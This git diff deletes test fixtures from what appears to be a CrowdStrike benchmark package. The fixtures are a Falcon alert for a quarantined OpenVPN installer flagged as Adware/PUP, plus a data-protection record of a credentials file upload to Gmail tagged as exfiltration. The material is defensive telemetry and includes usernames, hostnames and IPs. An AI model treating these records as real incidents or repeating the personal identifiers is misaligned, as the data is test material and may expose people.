-            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-            "created_timestamp": "2023-11-03T18:01:23.995Z",
-            "data_domains": [
-                "Endpoint"
-            ],
-            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "device": {
-                "agent_load_flags": 0,
-                "agent_local_time": "2023-10-12T03:45:57.753Z",
-                "agent_version": "7.04.17605.0",
-                "bios_manufacturer": "ABC",
-                "bios_version": "F8CN42WW(V2.05)",
-                "cid": "92012896127c4a948236ba7601b886b0",
-                "config_id_base": "65994763",
-                "config_id_build": "17605",
-                "config_id_platform": 3,
-                "external_ip": "81.2.69.142",
-                "first_seen": "2023-04-07T09:36:36.000Z",
-                "groups": [
-                    "18704e21288243b58e4c76266d38caaf"
-                ],
-                "hostinfo": {
-                    "active_directory_dn_display": [
-                        "WinComputers",
-                        "WinComputers\\ABC"
-                    ],
-                    "domain": "ABC.LOCAL"
-                },
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "last_seen": "2023-11-03T17:51:42.000Z",
-                "local_ip": "81.2.69.142",
-                "mac_address": "AB-21-48-61-05-B2",
-                "machine_domain": "ABC.LOCAL",
-                "major_version": "10",
-                "minor_version": "0",
-                "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                "os_version": "Windows11",
-                "ou": [
-                    "ABC",
-                    "WinComputers"
-                ],
-                "platform_id": "0",
-                "platform_name": "Windows",
-                "product_type": "1",
-                "product_type_desc": "Workstation",
-                "site_name": "Default-First-Site-Name",
-                "status": "normal",
-                "system_manufacturer": "LENOVO",
-                "system_product_name": "20VE"
-            },
-            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-            "grandparent_details": {
-                "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                "filename": "userinit.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                "local_process_id": "4328",
-                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                "process_id": "392734873135",
-                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                "timestamp": "2023-10-30T16:49:19.000Z",
-                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "yuvraj.mahajan"
-            },
-            "has_script_or_module_ioc": true,
-            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "ioc_context": [
-                {
-                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "ioc_source": "library_load",
-                    "ioc_type": "hash_sha256",
-                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "type": "module"
-                }
-            ],
-            "ioc_values": [
-                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-            ],
-            "is_synthetic_quarantine_disposition": true,
-            "local_process_id": "17076",
-            "logon_domain": "ABSYS",
-            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "name": "PrewittPupAdwareSensorDetect-Lowest",
-            "objective": "FalconDetectionMethod",
-            "parent_details": {
-                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                "filename": "explorer.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                "local_process_id": "1040",
-                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                "process_id": "392736520876",
-                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                "timestamp": "2023-11-03T18:00:32.000Z",
-                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "mohit.jha"
-            },
-            "parent_process_id": "392736520876",
-            "pattern_disposition": 2176,
-            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-            "pattern_disposition_details": {
-                "blocking_unsupported_or_disabled": false,
-                "bootup_safeguard_enabled": false,
-                "critical_process_disabled": false,
-                "detect": false,
-                "fs_operation_blocked": false,
-                "handle_operation_downgraded": false,
-                "inddet_mask": false,
-                "indicator": false,
-                "kill_action_failed": false,
-                "kill_parent": false,
-                "kill_process": false,
-                "kill_subprocess": false,
-                "operation_blocked": false,
-                "policy_disabled": false,
-                "process_blocked": true,
-                "quarantine_file": true,
-                "quarantine_machine": false,
-                "registry_operation_blocked": false,
-                "rooting": false,
-                "sensor_only": false,
-                "suspend_parent": false,
-                "suspend_process": false
-            },
-            "pattern_id": "5761",
-            "platform": "Windows",
-            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-            "process_end_time": "2023-11-03T18:00:21.000Z",
-            "process_id": "399748687993",
-            "process_start_time": "2023-11-03T18:00:13.000Z",
-            "product": "epp",
-            "quarantined_files": [
-                {
-                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "state": "quarantined"
-                }
-            ],
-            "scenario": "NGAV",
-            "severity": 30,
-            "severity_name": "low",
-            "sha1": "0000000000000000000000000000000000000000",
-            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-            "show_in_ui": true,
-            "source_products": [
-                "FalconInsight"
-            ],
-            "source_vendors": [
-                "CrowdStrike"
-            ],
-            "status": "new",
-            "tactic": "MachineLearning",
-            "tactic_id": "CSTA0004",
-            "technique": "Adware/PUP",
-            "technique_id": "CST0000",
-            "timestamp": "2023-11-03T18:00:22.328Z",
-            "tree_id": "1931778",
-            "tree_root": "38687993",
-            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-            "type": "ldt",
-            "updated_timestamp": "2023-11-03T19:00:23.985Z",
-            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "user_name": "mohit.jha"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.alert",
-        "namespace": "96581",
-        "type": "logs"
-    },
-    "device": {
-        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-        "manufacturer": "LENOVO",
-        "model": {
-            "name": "20VE"
-        }
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "process"
-        ],
-        "dataset": "crowdstrike.alert",
-        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-        "ingested": "2025-10-09T10:20:29Z",
-        "kind": "alert",
-        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-        "severity": 21,
-        "type": [
-            "start"
-        ]
-    },
-    "file": {
-        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-    },
-    "host": {
-        "domain": "ABC.LOCAL",
-        "hostname": "ABC709-1175",
-        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-        "ip": [
-            "81.2.69.142"
-        ],
-        "mac": [
-            "AB-21-48-61-05-B2"
-        ],
-        "os": {
-            "full": "Windows11",
-            "platform": "Windows",
-            "type": "windows"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-    "process": {
-        "end": "2023-11-03T18:00:21.000Z",
-        "entity_id": "399748687993",
-        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "hash": {
-            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "sha1": "0000000000000000000000000000000000000000",
-            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-        },
-        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "parent": {
-            "command_line": "C:\\WINDOWS\\Explorer.EXE",
-            "entity_id": "392736520876",
-            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-            "hash": {
-                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-            },
-            "name": "explorer.exe",
-            "pid": 392736520876
-        },
-        "pid": 399748687993,
-        "start": "2023-11-03T18:00:13.000Z",
-        "user": {
-            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "name": "mohit.jha"
-        }
-    },
-    "related": {
-        "hash": [
-            "b07f77fd3f9828b2c9d61f8a36609741",
-            "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-            "8cc3fcdd7d52d2d5221303c213e044ae",
-            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-            "0000000000000000000000000000000000000000"
-        ],
-        "hosts": [
-            "ABC.LOCAL",
-            "ABC709-1175"
-        ],
-        "ip": [
-            "81.2.69.142"
-        ],
-        "user": [
-            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "yuvraj.mahajan",
-            "mohit.jha"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-alert"
-    ],
-    "threat": {
-        "framework": "CrowdStrike Falcon Detections Framework",
-        "tactic": {
-            "id": [
-                "CSTA0004"
-            ],
-            "name": [
-                "MachineLearning"
-            ]
-        },
-        "technique": {
-            "id": [
-                "CST0000"
-            ],
-            "name": [
-                "Adware/PUP"
-            ]
-        }
-    },
-    "user": {
-        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-        "name": "mohit.jha"
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml
deleted file mode 100644
index 30a2b50cf6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml
+++ /dev/null
@@ -1 +0,0 @@
-num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log
deleted file mode 100644
index 4441a6449e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","AgentIdString":"5d77282ab4fxxxxxxxxxx65784cfa8f0","cid":"2cc98db1a4xxxxxxxxxxc94d43bfab70","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","ContentPatterns":[{"ConfidenceLevel":3,"ID":"4392b1416c974a488c31fbc4c97e89f6","MatchCount":1,"Name":"Credentials"}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","CustomerIdString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","DataVolume":39,"Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Destination":{"Channel":"web"},"DetectionType":"rule-based","EgressEventId":"89282731b67811f0a9f0c0892b3c995e","eid":118,"EventTimestamp":1761929044,"EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_DataProtectionDetectionSummaryEvent","FalconHostLink":"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\u003dg04000alcexxxxxxxxxxnfyokz7bajkq","Filename":"sensitive_123.txt","FileType":{"Type":{"CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document","Description":"Plain Text (txt) File","ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text"}},"Hostname":"DESKTOP-OM905R2","IsClipboard":false,"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"Name":"Test attempted to be uploaded to Google Drive","Nonce":3100301192206752520,"PatternId":80005,"Platform":"Windows","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection 